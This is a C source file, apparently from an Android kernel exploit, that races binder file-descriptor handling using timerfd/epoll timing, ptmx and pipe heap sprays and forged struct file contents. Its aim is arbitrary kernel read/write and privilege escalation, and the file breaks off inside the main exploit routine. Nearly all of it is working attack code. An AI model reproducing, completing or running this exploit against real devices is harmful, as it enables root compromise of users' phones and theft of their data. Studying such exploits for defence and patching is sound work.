src/exploit.c
#define _GNU_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sched.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/epoll.h>
#include <sys/uio.h>
#include <limits.h>
#include <sys/eventfd.h>
#include <sys/timerfd.h>
#include <assert.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <sys/prctl.h>
#include <sys/sendfile.h>
#include <linux/fs.h>
#include "binder.h"
#include "exploit.h"
#include "util.h"
#include "rw.h"
#include "unix.h"
#include "kernel_constants.h"

#define NSEC_PER_SEC 1000000000UL
#define USEC(x)  (((u64)(x))*1000)

#define NR_TIMERS 25
#define NR_WATCHES 100
#define NR_EPFDS 500

#define USEC_SKEW_WAIT_FOR_USE 5000
#define USEC_SKEW_COMPENSATE   1
#define NSEC_FACTOR 5

struct timer_thread_work{
    int id;
    exploit_ctx_t *ctx;
};
struct timer_thread_work works[NR_TIMERS];

void epoll_add(int epfd, int fd) {
    struct epoll_event ev = { .events = EPOLLIN };
    SYSCHK(epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &ev));
}

struct timespec get_mono_time(void) {
    struct timespec ts;
    SYSCHK(clock_gettime(CLOCK_MONOTONIC, &ts));
    return ts;
}

void ts_add(struct timespec *ts, unsigned long nsecs) {
    ts->tv_nsec += nsecs;
    if (ts->tv_nsec >= NSEC_PER_SEC) {
        ts->tv_sec++;
        ts->tv_nsec -= NSEC_PER_SEC;
    }
}

/* Technique adapted from Jahn Horn's "racing against the clock" */
void *timer_thread(void *arg) {
    struct timer_thread_work *work = arg;
    exploit_ctx_t *ctx = work->ctx;

    pin_to_cpu(4);

    int tfd = SYSCHK(timerfd_create(CLOCK_MONOTONIC, 0));
    int tfd_dups[NR_WATCHES];
    for (int i = 0; i<NR_WATCHES; i++) {
        tfd_dups[i] = SYSCHK(dup(tfd));
    }

    int epfds[NR_EPFDS];
    for (int i = 0; i<NR_EPFDS; i++) {
        epfds[i] = SYSCHK(epoll_create1(0));
    }

    for (int i = 0; i < NR_EPFDS; i++) {
        for (int j = 0; j < NR_WATCHES; j++) {
            epoll_add(epfds[i], tfd_dups[j]);
        }
    }
    // LOG("[timer #%d] waiting for timer_proc lc\n", work->id);
    light_cond_wait(&ctx->lc_timer_proc);
    struct timespec base_time = get_mono_time();
    struct itimerspec its = { .it_value = base_time };
    ts_add(&its.it_value, USEC(USEC_SKEW_WAIT_FOR_USE + USEC_SKEW_COMPENSATE)+work->id*NSEC_FACTOR);
    SYSCHK(timerfd_settime(tfd, TFD_TIMER_ABSTIME, &its, NULL));

    /* Wait for all timer threads to reach this point */
    pthread_barrier_wait(&ctx->br_timer_thread);

    /* Now trigger the "use" */
    light_cond_broadcast(&ctx->lc_spray_tty_pend);

    /* Read the timer (this call blocks until timer times out) */
    unsigned long value;
    assert(read(tfd, &value, sizeof(value)) == sizeof(value));

    return NULL;
}


int timer_master_process(exploit_ctx_t *ctx) {
    int ret = 0;
    pthread_t th[NR_TIMERS] = {0};

    pin_to_cpu(0);
    LOGD("[%s] pid=%d\n", __func__, getpid());
    memset(works, 0, NR_TIMERS * sizeof(struct timer_thread_work));
    pthread_barrier_init(&ctx->br_timer_thread, NULL, NR_TIMERS);
    for (int i = 0; i < NR_TIMERS; i++) {
        works[i].id = i;
        works[i].ctx = ctx;
        pthread_create(&th[i], NULL, timer_thread, &works[i]);
    }

    LOGD("[%s] Wait for C to enter spin_lock()\n", __func__);
    light_cond_wait(&ctx->lc_spray_tty_pend);
    usleep(USEC_SKEW_WAIT_FOR_USE);    

    light_cond_broadcast(&ctx->lc_start_dup);

    LOG("[x] Waiting for timer threads\n");
    for (int i = 0; i < NR_TIMERS; i++) {
        pthread_join(th[i], NULL);
    }

    LOGD("[%s] Done.\n", __func__);

    return 0;
}

#undef PAGE_SIZE
#define PAGE_SIZE (0x1000)
#define NR_MAPS 64
#define NR_FDS 30000
#define NR_SHAPERS 5
#define NR_FD_CACHE 10
#define RCU_GRACE_PERIOD_USEC (25*1000)
#define DUP_DELAY_USEC (1000*1000)
#define VULN_FD  (OFFCHK(dev_config->kconsts.binder_proc_offsets.binder_inner_lock)/8)
#define NR_PTMXS 4000
#define NR_OBJECTS_FILP 25
#define NR_OBJECTS_KMALLOC_1K 32
#define NR_PIPES 64
#define FD_MASTER_CPU 4
#define RDONLY_FILE "/system/lib64/libc.so"

#define SZ_FAKE_FILE 1024
u8 fake_file[SZ_FAKE_FILE];

enum spawner_cmd {
    SPAWNER_CMD_NEW_DUP_PROC = 1,
    SPAWNER_CMD_NEW_SHAPER_PROC,
    SPAWNER_CMD_NEW_GRAVEYARD,
    SPAWNER_CMD_END
};

int shaper_process(exploit_ctx_t *ctx, int idx) {
    pid_t pid = getpid();

    pin_to_cpu(FD_MASTER_CPU);

    for (int i = 0; i < NR_FDS; i++) {
        if (idx == NR_SHAPERS - 1) {
            SYSCHK(open("/dev/hwbinder", O_RDONLY));
        } else {
            SYSCHK(open(RDONLY_FILE, O_RDONLY));
        }
    }

    LOGD("[%s:%d] %d files sprayed\n", __func__, pid, NR_FDS);

    atomic_fetch_add(&ctx->sync_var_shapers, 1);
    light_cond_wait(&ctx->lc_shaper_done);

    return 0;
}

#define UNIQUE_SEEK(dup_process_index, dup_index) ({0x1 + NR_FD_CACHE*(dup_process_index) + (dup_index);})

enum dup_cmd_type {
    dup_cmd_done = 1,
    dup_cmd_test_tty,
    dup_cmd_prepare_tty,
    dup_cmd_unknown,
    dup_cmd_graveyard,
};

struct dup_cmd {
    enum dup_cmd_type cmd;
    union {
        int extra_data32;
        u64 extra_data64;
    } u;
};

void send_dup_cmd(int master_sock, enum dup_cmd_type cmd, int extra_data32) {
    struct dup_cmd dc;
    memset(&dc, 0, sizeof(dc));
    dc.cmd = cmd;
    dc.u.extra_data32 = extra_data32;
    assert(SYSCHK(write(master_sock, &dc, sizeof(dc))) == sizeof(dc));
}

void send_dup_done(int master_sock) {
    send_dup_cmd(master_sock, dup_cmd_done, 0);
}

void recv_dup_cmd(int master_sock, struct dup_cmd *dc) {
    memset(dc, 0, sizeof(*dc));
    assert(SYSCHK(read(master_sock, dc, sizeof(*dc))) == sizeof(*dc));
}

void recv_dup_done(int master_sock) {
    struct dup_cmd dc;
    recv_dup_cmd(master_sock, &dc);
    assert(dc.cmd == dup_cmd_done);
}

enum triage_result_kind {
    triage_result_ptmx = 1,
    triage_result_our_file,
    triage_result_unknown,
    triage_result_our_file_default,
};

struct triage_result {
    enum triage_result_kind kind;
    u64 extra_data;
};

struct triage_data {
    int master_sock;
    int *fd_cache;
    int nr_fd_cache;
    int dup_index;
    int dup_process_index;
};

bool fdget_succeed(int fd) {
    int ret = 0, saved_errno = 0;
    ret = timerfd_gettime(fd, NULL);
    saved_errno = errno;
    if (ret == -1 && saved_errno == EBADF) {
        return false;
    } else if (ret == -1 && saved_errno == EINVAL) {
        return true;
    } else {
        FAIL(); /* Unreachable */
    }
}

int identify_ptmx(int fd) {
    int ret = 0, ptmx_index = -1;
    ret = fcntl(fd, F_GETSIG);
    if (ret == -1) {
        return -1;
    }
    if (ret >= 0x4141) {
        ptmx_index = ret - 0x4141;
        if (ptmx_index >= NR_PTMXS) {
            return -1;
        }
        return ptmx_index;
    }
    return ptmx_index;
}

int identify_our_file(int fd, struct triage_data *data, struct triage_result *result) {
    int ret = 0;

    ret = fcntl(fd, F_GETSIG);
    if (ret == -1) {
        return -1;
    }
    if (ret != 64) {
        return -1;
    }

    ret = lseek(fd, 0, SEEK_CUR);
    if (ret == -1) {
        return -1;
    }
    if (ret == UNIQUE_SEEK(data->dup_process_index, data->dup_index)) {
        result->kind = triage_result_our_file_default;
    }
    return 0;
}


struct fd_info {
    int count_gt_0;
    int fmode_path;
    int fmode_pread;
    int fmode_read;
    int fmode_can_read;
    int fmode_pwrite;
    int fmode_write;
    int fmode_can_write;
} __attribute__((packed));

void extract_pread64_info(int fd, struct fd_info *fd_info) {
    int result = 0;
    int ret = 0;
    int saved_errno = 0;
    ret = pread64(fd, NULL, 10, 0);
    saved_errno = errno;
    assert(ret == -1);
    if (saved_errno == ESPIPE) {
        fd_info->fmode_pread = 0;
        return;
    } else {
        fd_info->fmode_pread = 1;
    }

    if (saved_errno == EBADF) {
        fd_info->fmode_read = 0;
        return;
    } else {
        fd_info->fmode_read = 1;
    }

    if (saved_errno == EINVAL) {
        fd_info->fmode_can_read = 0;
    } else {
        fd_info->fmode_can_read = 1;
        assert(saved_errno == EFAULT);
    }
    return;
}

void extract_read_info(int fd, struct fd_info *fd_info) {
    extract_pread64_info(fd, fd_info);
}

void extract_pwrite64_info(int fd, struct fd_info *fd_info) {
    int result = 0;
    int ret = 0;
    int saved_errno = 0;
    ret = pwrite64(fd, NULL, 10, 0);
    saved_errno = errno;
    assert(ret == -1);
    if (saved_errno == ESPIPE) {
        fd_info->fmode_pwrite = 0;
        return;
    } else {
        fd_info->fmode_pwrite = 1;
    }

    if (saved_errno == EBADF) {
        fd_info->fmode_write = 0;
        return;
    } else {
        fd_info->fmode_write = 1;
    }

    if (saved_errno == EINVAL) {
        fd_info->fmode_can_write = 0;
    } else {
        fd_info->fmode_can_write = 1;
        assert(saved_errno == EFAULT);
    }
    return;
}

void extract_write_info(int fd, struct fd_info *fd_info) {
    extract_pwrite64_info(fd, fd_info);
}


void fd_info_dump(struct fd_info *fi) {
    LOG("count_gt_0 = %d ""fmode_path = %d ""fmode_pread = %d ""fmode_read = %d "
        "fmode_can_read = %d "
        "fmode_pwrite = %d "
        "fmode_write = %d "
        "fmode_can_write = %d " "\n", 
        fi->count_gt_0,
        fi->fmode_path,
        fi->fmode_pread,
        fi->fmode_read, 
        fi->fmode_can_read,
        fi->fmode_pwrite,
        fi->fmode_write,
        fi->fmode_can_write
    );
}

void triage_fd(int fd, struct triage_data *data, struct triage_result *result) {
    int ret = 0, saved_errno = 0;
    result->kind = 0;
    result->extra_data = 0;
    struct fd_info fd_info;
    memset(&fd_info, 0xff, sizeof(fd_info));
    struct fd_info expected_fd_info = {
        .count_gt_0 = 1,
        .fmode_path = 0,
        .fmode_pread = 1,
        .fmode_read = 1,
        .fmode_can_read = 1,
        .fmode_pwrite = 1, 
        .fmode_write = 0,
        .fmode_can_write = -1,
    };
    if (fdget_succeed(fd)) {
        fd_info.count_gt_0 = 1;
        fd_info.fmode_path = 0;
        extract_read_info(fd, &fd_info);
        extract_write_info(fd, &fd_info);

        if (!memcmp(&fd_info, &expected_fd_info, sizeof(fd_info))) {
            goto our_file;
        } else {
            goto unknown;
        }
    } else {
        /* For every TTY do f_count == 1 and f_mode == 0 (not FMODE_PATH) */
        send_dup_cmd(data->master_sock, dup_cmd_test_tty, 0);
        recv_dup_done(data->master_sock);
        if (fdget_succeed(fd)) {
            goto ptmx;
        } else {
            goto unknown;
        }
    }

unknown:
    result->kind = triage_result_unknown;
    return;
ptmx:
    result->kind = triage_result_ptmx;
    return;
our_file:
    result->kind = triage_result_our_file;
    ret = identify_our_file(fd, data, result);
    if (ret == -1) {
        LOG("WARNING: failed to identify our file\n");
        goto unknown;
    }
    return;
}



int dup_process(exploit_ctx_t *ctx, int dup_process_index, int sock) {
    int ret = 0;
    int fd_cache[NR_FD_CACHE];
    unsigned int nr_fd_cache = 0;
    pid_t pid =  getpid();
    int i = 0;
    int sig;
    pin_to_cpu(0);

    unix_recv_files(sock, fd_cache, NR_FD_CACHE, &nr_fd_cache);
    assert(nr_fd_cache == NR_FD_CACHE);
    // LOG("[%s:%d] Got %d files\n", __func__, pid, nr_fd_cache);
    for (i = 0; i < nr_fd_cache; i++) {
        SYSCHK(lseek(fd_cache[i], UNIQUE_SEEK(dup_process_index, i), SEEK_SET));
    }

    /* Wait for command to start dupping */
    light_cond_wait(&ctx->lc_start_dup);

    /* The first dup2() will trigger alloc_fdtable() */
    for (i = 0; i < nr_fd_cache; i++) {
        SYSCHK(dup2(fd_cache[i], VULN_FD));
        usleep(DUP_DELAY_USEC);
        if (atomic_load(&ctx->sync_var_c_died)) {
            break;
        }
    }
    
    light_cond_broadcast(&ctx->lc_dup_process_close_post[dup_process_index]);

    if (i == nr_fd_cache) {
        // LOG("[%s:%d] Failed.\n", __func__, pid);
        send_dup_cmd(sock, dup_cmd_done, 1);
        return 1;
    }

    struct triage_data data;
    struct triage_result result;
    memset(&data, 0, sizeof(data));
    memset(&result, 0, sizeof(result));

    data.master_sock = sock;
    data.dup_index = i;
    data.dup_process_index = dup_process_index;
    data.fd_cache = (int *)fd_cache;
    data.nr_fd_cache = nr_fd_cache;

    triage_fd(VULN_FD, &data, &result);

    // LOG("[%s:%d] Triage result: %s\n", __func__, pid, triage_result_kind_to_string(result.kind));

    switch(result.kind){
        case triage_result_our_file_default:
            send_dup_cmd(sock, dup_cmd_done, 0);
            exit(0);
        case triage_result_ptmx: {
            int ptmx_index = (int)(u32)result.extra_data;
            /* Prepare ptmx for filp_close() */
            send_dup_cmd(sock, dup_cmd_prepare_tty, ptmx_index);
            /* Wait for it to be done */
            recv_dup_done(sock);
            close(VULN_FD);
            exit(0);
        }
        case triage_result_our_file:{
            /*
            Send fd to graveyard process.
            Why?
            If the vulnerability succeeded, the we have an
            uncounted reference to this file. If we close this file now
            we create a use-after-free situation on a struct file. This 
            is not a desirable condition.
            We fix this situation by artificially NULLing the problematic
            fd in the graveyard process.            
            */
            send_dup_cmd(sock, dup_cmd_graveyard, 0);
            int fd = VULN_FD;
            unix_send_files(sock, &fd, 1);
            close(fd); /* This is safe, since by sending the file we took another reference on it. */
            exit(0);
        }
        case triage_result_unknown:
            /* Keep this process alive. When you succeed fix the situation. */
            send_dup_cmd(sock, dup_cmd_unknown, 0);
            /* Block forever */
            int efd = SYSCHK(eventfd(0, 0));
            u64 val = 0;
            SYSCHK(read(efd, &val, sizeof(val)));
            FAIL(); /* Unreachable code. */
            break;
    }

    return 0;
}

void unix_recv_files_exact(int sock, int *fds, int nr_fds) {
    unsigned int nr_recv = 0;
    unix_recv_files(sock, fds, nr_fds, &nr_recv);
    assert(nr_recv == nr_fds);
}

enum pipe_process_command {
    pipe_cmd_spray = 1,
    pipe_cmd_reset,
};

enum pipe_process_command pipe_process_get_command(int sock) {
    enum pipe_process_command cmd;
    assert(read(sock, &cmd, sizeof(enum pipe_process_command)) == sizeof(enum pipe_process_command));
    return cmd;
}

int pipe_process(exploit_ctx_t *ctx, int idx, int master_sock) {
    int ret = 0;
    int pipefds[NR_PIPES][2];
    int nr_cpus = sysconf(_SC_NPROCESSORS_ONLN);
    pid_t pid = getpid();

    int cpu = idx % nr_cpus;
    while (pin_to_cpu(cpu) == -1);
    LOGD("[%s:%d] Pinned to CPU %d\n", __func__, pid, cpu);
    atomic_fetch_add(&ctx->sync_var_pipe_processes, 1);

    while(1) {
        int fd_master_sock = -1;

        unix_recv_files_exact(master_sock, &fd_master_sock, 1);

        /* Wait for command */
        switch(pipe_process_get_command(fd_master_sock)) {
            case pipe_cmd_spray: {
                for (int i = 0; i < NR_PIPES; i++) {
                    SYSCHK(pipe(pipefds[i]));
                }

                unix_send_files(fd_master_sock, (int *)pipefds, 2*NR_PIPES);

                for (int i = 0; i < NR_PIPES; i++) {
                    close(pipefds[i][0]);
                    close(pipefds[i][1]);
                }

                break;
            }
            case pipe_cmd_reset:
                break;
        }

        close(fd_master_sock);
    }

    return 0;
}

int spawner(exploit_ctx_t *ctx, int master_sock) {
    int nr_dup_procs = 0;
    int nr_pipe_procs = 0;
    int nr_shapers = 0;

    for (;;) {
        int cmd = 0;
        assert(SYSCHK(read(master_sock, &cmd, sizeof(cmd))) == sizeof(cmd));
        // LOG("[%s] new command: %08x\n", __func__, cmd);
        if (cmd == SPAWNER_CMD_NEW_DUP_PROC) {
            pid_t pid;
            int sockets[2];
            SYSCHK(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets));
            switch(pid = SYSCHK(fork())) {
                case 0: {close(master_sock); exit(dup_process(ctx, nr_dup_procs, sockets[1]));}
                default: break;
            }
            nr_dup_procs++;
            close(sockets[1]);
            assert(SYSCHK(write(master_sock, &pid, sizeof(pid))) == sizeof(pid));
            unix_send_files(master_sock, &sockets[0], 1);
            close(sockets[0]);
        } else if (cmd == SPAWNER_CMD_NEW_SHAPER_PROC) {
            pid_t pid;
            switch(pid = SYSCHK(fork())) {
                case 0: exit(shaper_process(ctx, nr_shapers));
                default: break;
            }
            nr_shapers++;
            assert(SYSCHK(write(master_sock, &pid, sizeof(pid))) == sizeof(pid));
        } else if (cmd == SPAWNER_CMD_END) {
            break;
        } else {
            LOG("[%s] unknown cmd: %d\n", __func__, cmd);
        }
    }
    return 0;
}

int create_spawner(exploit_ctx_t *ctx, pid_t *spawner_pid) {
    int spawner_sockets[2];
    pid_t pid;
    SYSCHK(socketpair(AF_UNIX, SOCK_DGRAM, 0, spawner_sockets));
    switch(pid = SYSCHK(fork())) {
        case 0: exit(spawner(ctx, spawner_sockets[1]));
        default: break;
    }
    close(spawner_sockets[1]);
    if (spawner_pid) {
        *spawner_pid = pid;
    }
    return spawner_sockets[0];
}

void write_fake_struct_file(int *ptmxs, int ptmx_idx, int f_count, int f_mode) {
    memset(fake_file, 0, SZ_FAKE_FILE);
    prepare_fake_struct_file(fake_file, f_count, f_mode);
    assert(write(ptmxs[ptmx_idx], fake_file, SZ_FAKE_FILE) == -1 && errno == EAGAIN);
}

void recv_spawner_pid(int spawner, pid_t *pid) {
    assert(SYSCHK(read(spawner, pid, sizeof(pid_t))) == sizeof(pid_t));
}

void send_spawner_cmd(int spawner, int cmd) {
    assert(SYSCHK(write(spawner, &cmd, sizeof(cmd))) == sizeof(cmd));
}

struct cleanup_data {
    pid_t *dup_pids;
    int *pipe_sockets;
    pid_t *shaper_pids;
    pid_t spawner_pid;
    pid_t corrupted_dup_pid;
    int spawner;
};

void cleanup_fd_master(exploit_ctx_t *ctx, struct cleanup_data *cleanup) {
    bool early_cleanup = (cleanup->corrupted_dup_pid >= 0);
    LOGD("[%s] Cleanup zombie processes%s\n", __func__, early_cleanup ? " (early cleanup)" : "");

    if (cleanup->dup_pids) {
        LOGD("\tCleanup dup processes\n");
        for(int i = 0; i < NR_DUP_PROCS; i++) {
            if (cleanup->dup_pids[i] == cleanup->corrupted_dup_pid) {
                continue;
            }
            // LOGD("\t\tdup process pid = %d\n", cleanup->dup_pids[i]);
            waitpid(cleanup->dup_pids[i], NULL, 0);
        }
        LOGD("\t\tDone.\n");
    }

    if (cleanup->pipe_sockets) {
        LOGD("\tReset pipe processes\n");
        enum pipe_process_command cmd = pipe_cmd_reset;
        for (int i = 0; i < NR_PIPE_PROCS; i++) {
            assert(write(cleanup->pipe_sockets[i], &cmd, sizeof(cmd)) == sizeof(cmd));
        }
    }

    if (cleanup->shaper_pids) {
        LOGD("\tCleanup shapers\n");
        light_cond_broadcast(&ctx->lc_shaper_done);
        for (int i = 0; i < NR_SHAPERS; i++) {
            // LOGD("\t\tshaper process pid = %d\n", cleanup->shaper_pids[i]);
            waitpid(cleanup->shaper_pids[i], NULL, 0);
        }
        LOGD("\t\tDone.\n");
    }

    if (cleanup->spawner_pid) {
        LOGD("\tCleanup spawner\n");
        send_spawner_cmd(cleanup->spawner, SPAWNER_CMD_END);
        waitpid(cleanup->spawner_pid, NULL, 0);
    }

    LOGD("\tCleanup done.\n");
}

int fd_master_process(exploit_ctx_t *ctx, int master_sock) {
    int ret = 0;
    int dup_sockets[NR_DUP_PROCS];
    int pipe_sockets[NR_PIPE_PROCS];
    pid_t dup_pids[NR_DUP_PROCS];
    pid_t pipe_pids[NR_PIPE_PROCS];
    pid_t shaper_pids[NR_SHAPERS];
    pid_t spawner_pid = 0;
    struct cleanup_data _cleanup;
    struct cleanup_data *cleanup = &_cleanup;

    pin_to_cpu(FD_MASTER_CPU);

    memset(cleanup, 0, sizeof(*cleanup));
    cleanup->corrupted_dup_pid = -1;

    LOGD("[%s] pid = %d\n", __func__, getpid());

    LOGD("[%s] Creating dup process spawner\n", __func__);
    int spawner = create_spawner(ctx, &spawner_pid);
    cleanup->spawner_pid = spawner_pid;
    cleanup->spawner = spawner;

    /* Prepare a bunch of terminals */
    int nr_ptmxs = NR_PTMXS;
    int *ptmxs = calloc(nr_ptmxs, sizeof(int));
    if (ptmxs == NULL) { FAIL(); }

    for (int i = 0; i < nr_ptmxs; i++) {
        ptmxs[i] = SYSCHK(open("/dev/ptmx", O_RDWR | O_NONBLOCK));
        turn_off_ptmx(ptmxs[i]);
    }

    /* Preparing FDs array */
    int nr_fds = 128*NR_OBJECTS_FILP;
    int *fds = calloc(nr_fds, sizeof(int));
    if (fds == NULL) { FAIL(); }

    /* Preparing pipe storage */
    int *pipes = calloc(NR_PIPE_PROCS*NR_PIPES, 2*sizeof(int));
    if (pipes == NULL) {FAIL();}

    LOGD("[%s] Creating %d dup processes\n", __func__, NR_DUP_PROCS);
    for (int i = 0; i < NR_DUP_PROCS; i++) {
        send_spawner_cmd(spawner, SPAWNER_CMD_NEW_DUP_PROC);
        recv_spawner_pid(spawner, &dup_pids[i]);
        unix_recv_files_exact(spawner, &dup_sockets[i], 1);
    }
    cleanup->dup_pids = dup_pids;

    LOGD("[%s] Setup %d pipe processes\n", __func__, NR_PIPE_PROCS);
    for (int i = 0; i < NR_PIPE_PROCS; i++) {
        int sockets[2];
        SYSCHK(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets));
        unix_send_files(ctx->pipe_procs_sockets[i], &sockets[1], 1);
        close(sockets[1]);
        pipe_sockets[i] = sockets[0];
    }
    cleanup->pipe_sockets = pipe_sockets;

    LOG("[x] Shaping physical memory\n");
    LOGD("[%s] Creating %d shapers\n", __func__, NR_SHAPERS);
    for (int i = 0; i < NR_SHAPERS; i++) {
        send_spawner_cmd(spawner, SPAWNER_CMD_NEW_SHAPER_PROC);
        recv_spawner_pid(spawner, &shaper_pids[i]);
    }
    cleanup->shaper_pids = shaper_pids;

    LOGD("[%s] Waiting for shapers...\n", __func__);
    while(atomic_load(&ctx->sync_var_shapers) < NR_SHAPERS);
    LOGD("[%s] Shapers done.\n", __func__);

    int fd_idx = 0, ptmx_idx = 0, actual_nr_fds = 0;
    while(ptmx_idx < nr_ptmxs && fd_idx < nr_fds) {
        for (int j = 0; j < NR_OBJECTS_KMALLOC_1K && ptmx_idx < nr_ptmxs; ptmx_idx++, j++) {
            write_fake_struct_file(ptmxs, ptmx_idx, 0, FMODE_PATH);
        }

        for (int j = 0; j < 4*NR_OBJECTS_FILP && fd_idx < nr_fds; fd_idx++, j++) {
            fds[fd_idx] = SYSCHK(open(RDONLY_FILE, O_RDONLY));
            SYSCHK(fcntl(fds[fd_idx], F_SETSIG, 64));
        }
    }
    actual_nr_fds = fd_idx;

    /* Transfer NR_FD_CACHE fds to each dup process */
    fd_idx = actual_nr_fds - NR_DUP_PROCS*NR_FD_CACHE;
    for (int i = 0; i < NR_DUP_PROCS; i++) {
        int tmp_fds[NR_FD_CACHE];
        for (int j = 0; j < NR_FD_CACHE; j++) {
            assert(fd_idx < nr_fds);
            tmp_fds[j] = fds[fd_idx];
            fd_idx++;
        }
        
        // LOG("[%s] Transfer %d fds to dup process #%d \n", __func__, NR_FD_CACHE, i);
        unix_send_files(dup_sockets[i], tmp_fds, NR_FD_CACHE);
    }

    light_cond_broadcast(&ctx->lc_finish_shaping);

    LOGD("[%s] Wait for all dup processes to finish\n", __func__);
    for (int i = 0; i < NR_DUP_PROCS; i++) {
        light_cond_wait(&ctx->lc_dup_process_close_post[i]);
    }

    /* Wait for commands from each dup process in turn.... */
    bool success = false;
    int corrupted_dup_process_index = -1;
    char dup_results[NR_DUP_PROCS + 1] = {0};
    for (int i = 0; i < NR_DUP_PROCS; i++) {
        for(;;) {
            struct dup_cmd dc;
            recv_dup_cmd(dup_sockets[i], &dc);
            if (dc.cmd == dup_cmd_done) {
                dup_results[i] = dc.u.extra_data32 ? ',' : '.';
                break;
            } else if (dc.cmd == dup_cmd_test_tty) {
                // prepare tty for first test
                for (int j = 0; j < nr_ptmxs; j++) {
                    write_fake_struct_file(ptmxs, j, 1, 0);
                }
                send_dup_done(dup_sockets[i]);
            } else if (dc.cmd == dup_cmd_prepare_tty) {
                dup_results[i] = '*';
                success = true;
                corrupted_dup_process_index = i;
                for (int __ptmx = 0; __ptmx < nr_ptmxs; __ptmx++) {
                    // prepare tty for filp_close()
                    write_fake_struct_file(ptmxs, __ptmx, 1, FMODE_PATH);
                }
                break;
            } else if (dc.cmd == dup_cmd_unknown) {
                dup_results[i] = '?';
                cleanup->corrupted_dup_pid = dup_pids[i];
                /* Add this pid to a list, for later cleanup. */
                assert(ctx->nr_zombie_dup_procs < NR_ZOMBIE_DUP_PROCS);
                ctx->zombie_dup_procs[ctx->nr_zombie_dup_procs++] = cleanup->corrupted_dup_pid;
                break;
            } else if (dc.cmd == dup_cmd_graveyard) {
                dup_results[i] = '!';
                int to_grave_fd = -1;
                unix_recv_files_exact(dup_sockets[i], &to_grave_fd, 1);
                unix_send_files(ctx->graveyard_sock, &to_grave_fd, 1);
                close(to_grave_fd); // This is safe
                break;
            }
        }
    }
    LOG("%s\n", dup_results);
    if (!success) {
        assert(SYSCHK(write(master_sock, "failure", 8)) == 8);
        LOG("[x] Failed.\n\n");
        cleanup_fd_master(ctx, cleanup);
        return 1;
    }
    
    send_dup_done(dup_sockets[corrupted_dup_process_index]);
    usleep(RCU_GRACE_PERIOD_USEC*2); // wait for RCU grace period.

    /* Spray pipes */
    enum pipe_process_command cmd = pipe_cmd_spray;
    for (int i = 0; i < NR_PIPE_PROCS; i++) {
        assert(write(pipe_sockets[i], &cmd, sizeof(cmd)) == sizeof(cmd));
    }
    for (int i = 0; i < NR_PIPE_PROCS; i++) {
        unix_recv_files_exact(pipe_sockets[i], &pipes[i*2*NR_PIPES], 2*NR_PIPES);
    }
    LOGD("[%s] Received %d pipes\n", __func__, NR_PIPES*NR_PIPE_PROCS);

    /* Cleanup */
    cleanup->pipe_sockets = NULL;
    cleanup_fd_master(ctx, cleanup);

    LOG("[x] Trying to escalate...\n");
    int corrupted_ptmx = -1;
    int corrupted_pipe[2] = {-1, -1};
    ret = filter_corrupted_files(ptmxs, nr_ptmxs, 
                                pipes, NR_PIPES*NR_PIPE_PROCS, 
                                &corrupted_ptmx, corrupted_pipe);
    if (ret) {
        assert(SYSCHK(write(master_sock, "failure", 8)) == 8);
        return 1;
    }
    LOG("[x] Found corrupted ptmx and pipe.\n");

    assert(SYSCHK(write(master_sock, "success", 8)) == 8);

    unix_send_files(master_sock, &corrupted_ptmx, 1);
    unix_send_files(master_sock, (int *)corrupted_pipe, 2);
    
    LOGD("[%s] Done.\n", __func__);
    return 0;
}

int create_fd_master_process(exploit_ctx_t *ctx, pid_t *pid_out) {
    int sockets[2];
    pid_t pid;
    SYSCHK(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets));
    switch(pid = SYSCHK(fork())) {
        case 0: exit(fd_master_process(ctx, sockets[1]));
        default: break;
    }
    close(sockets[1]);
    if (pid_out) {
        *pid_out = pid;
    }
    return sockets[0];
}


u8 zeroes[32768*8];

void remove_all_files(struct rw_info *rw, struct task_info *ti) {
    u64 fdt = kread64(rw, ti->files_struct + OFFCHK(dev_config->kconsts.files_struct_offsets.fs_fdt));

    u32 max_fds;
    kread(rw, fdt + FDTABLE__MAX_FDS, &max_fds, sizeof(max_fds));
    u64 fd_array = kread64(rw, fdt + FDTABLE__FD);

    kwrite(rw, fd_array, zeroes, max_fds*8);
}

void fixup_and_kill_process(struct rw_info *rw, pid_t pid) {
    struct task_info _ti;
    struct task_info *ti = &_ti;
    LOGD("\tFixup pid = %d\n", pid);
    if (!find_task_struct_by_pid_tid(rw, pid, -1, ti)) {
        return;
    }
    LOGD("\t\tFound files struct: %016lx\n", ti->files_struct);
    remove_all_files(rw, ti);
    LOGD("\t\tNow killing pid %d\n", pid);
    kill(pid, SIGKILL);
}

void fixup_zombie_processes(exploit_ctx_t *ctx, struct rw_info *rw) {
    memset(zeroes, 0, sizeof(zeroes));

    /* Fixup graveyard process */
    fixup_and_kill_process(rw, ctx->graveyard_pid);

    /* Fixup all zombie dup processes */
    for(int i = 0; i < ctx->nr_zombie_dup_procs; i++) {
        fixup_and_kill_process(rw, ctx->zombie_dup_procs[i]);
    }
}

int vuln(exploit_ctx_t *ctx, enum vuln_mode vuln_mode);

struct rw_info *do_exploit(exploit_ctx_t *ctx) {
    pid_t timer_pid, fd_pid;
    light_cond_init_shared(&ctx->lc_timer_proc);
    light_cond_init_shared(&ctx->lc_start_dup);
    light_cond_init_shared(&ctx->lc_finish_shaping);
    light_cond_init_shared(&ctx->lc_shaper_done);
    light_cond_init_shared(&ctx->lc_start_pipe);
    for (int i = 0; i < NR_DUP_PROCS; i++) {
        light_cond_init_shared(&ctx->lc_dup_process_close_post[i]);
    }

    int fd_master_sock = create_fd_master_process(ctx, &fd_pid);

    light_cond_wait(&ctx->lc_finish_shaping);

    switch(timer_pid = SYSCHK(fork())){
        case 0: exit(timer_master_process(ctx));
        default: break;
    }

    // do vuln
    vuln(ctx, vuln_mode_exploit);

    SYSCHK(waitpid(timer_pid, NULL, 0));

    /* Wait for status update from fd_master process */
    char status[8];
    assert(SYSCHK(read(fd_master_sock, status, 8)) == 8);
    if (!strcmp(status, "failure")) {
        waitpid(fd_pid, NULL, 0);
        return NULL;
    }

    struct rw_info *rw = zalloc(sizeof(struct rw_info));
    int ret = 0;

    /* Recv corrupted ptmx and pipe from fd master process */
